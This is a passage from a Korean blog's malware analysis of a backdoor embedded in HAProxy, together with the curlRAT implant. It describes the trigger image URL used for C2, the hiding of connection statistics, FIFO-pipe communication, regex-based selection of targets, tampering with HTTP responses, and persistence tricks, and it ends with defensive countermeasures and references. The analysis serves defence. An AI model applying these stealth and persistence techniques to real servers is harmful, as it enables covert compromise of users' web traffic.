> 동작 모드, 대상 정규식, 페이로드 경로, 파일명, 스크립트, 인증 키 로드
> IP 기반 ACL은 haproxy-1001.cache 및 haproxy-1002.cache 에서 로드

- /favorite_list_2x_m500_ico.jpg에 대한 요청을 C2 통신의 트리거로 사용
> HAProxy 내부 활성 연결 통계를 하드코딩된 오프셋으로 감소시켜 백도어 흔적 제거
> 요청 데이터를 FIFO 파이프를 통해 백도어로 전달한 뒤 HAProxy 관련 필드를 0으로 초기화하여 C2 통신 은닉

- 정규 표현식을 사용해 수신되는 HTTP 트래픽을 필터링하고, /login 등 중요 페이지 접근 요청 식별
> IP, Host 헤더, Referer 헤더, User-Agent 헤더를 추출하고 설정된 정규식과 일치하는지 확인
> Accept-Language 헤더에 "mrt" 문자열을 확인하거나 IP 화이트리스트·블랙리스트를 이용하여 공격 대상 제한
> 해당 조건들을 만족하는 경우 ted_http_headers_for_htx, ted_http_payload, trace_http_end 등 콜백을 이용하여 정상 HTTP 응답 변조
> Content-Type 헤더, Content-Disposition 헤더, Content-Length 헤더를 변경하고, Accept-Ranges 헤더를 제거

- curlRAT을 libc 루틴으로 위장하여 통합하여 지속성 유지
- 환경 변수에 C2 파이프 정보를 저장하여 HAProxy 재로드·재시작 이후에도 C2 통신 유지

 

2.3 대응방안

- 외부에 노출된 그룹웨어·메일 서버·웹 서버 등의 취약점 및 접근 로그 점검, 최신 보안 패치 적용, 불필요한 외부 접근 제한

- SSH, 관리자 페이지, 원격 접속 등에 MFA 적용, 비밀번호 변경, 활성 세션 종료

- 시스템 파일, 원격 접속 도구, 데몬 등의 무결성 점검

- 비정상적인 원격 접속, 예약 작업, 신규 서비스 점검

- 원격 접속 도구 등 화이트리스트 기반 관리

- C2 통신, 트래픽 변조 등을 탐지

- 엔드포인트, 행위 기반 탐지 솔루션 도입

- 출처가 불분명한 링크 및 파일 주의

- 침해지표 점검

3. 참고

[1] https://www.enki.co.kr/media-center/blog/inside-kimsuky-s-abuse-of-legitimate-remote-control-tools-across-northeast-asia#34-anydesk
[2] https://www.boannews.com/news/articleView.html?idxno=145444
[3] https://www.pentestwiki.com/privilege-escalation/windows/uac-bypass
[4] https://lakedata.tistory.com/176
[5] https://leemon.tistory.com/46
[6] https://www.rapid7.com/blog/post/tr-dprk-apts-ted-backdoor-curlrat-target-south-korean-media-automotive-sectors/
[7] https://www.boannews.com/news/articleView.html?idxno=145770

'악성코드 > 분석' 카테고리의 다른 글

BPFDoor 악성코드  (0) 2025.05.09
Fast Flux 공격  (0) 2025.04.12
Ragnar Loader 분석 보고서  (0) 2025.03.12
정적분석 (Static Analysis) #4  (1) 2025.03.08
정적분석 (Static Analysis) #3  (1) 2025.03.07

+ Recent posts